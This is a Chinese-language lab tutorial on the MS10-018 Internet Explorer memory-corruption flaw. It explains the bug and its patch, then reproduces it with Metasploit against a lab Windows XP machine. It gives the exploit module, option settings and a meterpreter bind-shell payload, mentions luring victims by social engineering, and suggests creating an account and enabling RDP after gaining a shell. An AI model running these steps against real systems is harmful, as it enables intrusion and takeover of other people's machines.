一、漏洞介绍

基本信息

属性

MS10-018

组件

Tabular Data Control (TDC)

漏洞类型

堆溢出 + 类型混淆

触发方式

超长 URL 参数

根本原因

未验证输入长度

影响版本

IE 6/7/8

补丁

MS10-018

攻击者如何利用

1. 黑客构造恶意网页,包含超长 data: URL
   ↓
2. IE 的 TDC 控件尝试解析这个 URL
   ↓
3. URL 太长,超出了分配的内存缓冲区
   ↓
4. 多余的数据"溢出"到相邻内存区域
   ↓
5. 覆盖了关键的对象指针或函数地址
   ↓
6. 程序后续调用这些被覆盖的地址
   ↓
7. 执行了黑客预设的恶意代码

如何防护

1.及时安装微软的补丁

补丁编号:微软通过安全公告MS10-018发布修复补丁(KB980182),更新TDC控件的内存处理逻辑。

2.临时缓解方案

禁用ActiveX控件:通过IE安全设置禁用TDC控件(CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83)

启用DEP/ASLR:在高级IE设置中强制启用数据执行保护和地址空间随机化。

二、完整复现

1.准备工作

确保目标靶机没有安装KB980182补丁,关闭防火墙,目标靶机可以访问攻击机制作的恶意链接

目标靶机:192.168.68.132(winXP_sp3)

攻击机:192.168.68.128(kalilinux)

2.msf复现

启动msf,在kali终端中输入 msfconsole

Search MS10-018

search MS10-018
MS10-018-1.png

使用MS10-018

use exploit/windows/browser/ms10_018_ie_behaviors 

查看需要设置什么参数

show options
MS10-018-2.png

图片中的required一栏中yes是必须要设置的,no是可选不强制要求的,所以我们需要设置SRVHOST,SRVPORT,EXITFUNC,LHOST,LPORT,而图中我们可以看到current setting是我们目前的配置,核对发现基本都设置好了,只有SRVHOST没设置对,要改成我们本机ip192.168.68.128,其余都可以不用动

配置msf

整个配置如下

set SRVHOST 192.168.68.128
set lhost 192.168.68.128
set lport 4444
set payload windows/meterpreter/bind_tcp

tips:这里的payload是一个正向连接shell,正常情况下应该是个反向shell (reverse_tcp),因为我们是在内网,目标靶机和攻击机在同一个网段,而且目标主机关闭了防火墙,所以我们才可以成功,真实情况对方可能有防火墙,我们无法直接访问对方ip,就使用反向shell,木马,浏览器漏洞,钓鱼网站优先使用反向 shell。

Run

接下来输入 run运行

MS10-018-3-kSZq.png

我们发现服务已经跑起来了,但是没有会话建立,因为还没有人访问,我们需要配合社工让对方点击我们的恶意链接

当目标靶机使用ie浏览器访问我们的链接时会出现这个界面,显示连接已建立

MS10-018-4.png

接下来我们按一下回车,把让他继续显示

进入会话

输入sessions 列出所有的会话,发现第一个就是目标靶机然后输入session -i 1 ,进入会话1

MS10-018-5.png

出现了meterpreter就代表我们已经控制了目标靶机

3.让靶机执行相关命令

输入shell即可进入目标靶机的终端,也就是cmd命令行

我们就可以 ipconfig 查看对方的网络配置信息

或者创建一个账户,然后开启rdp远程登陆对方主机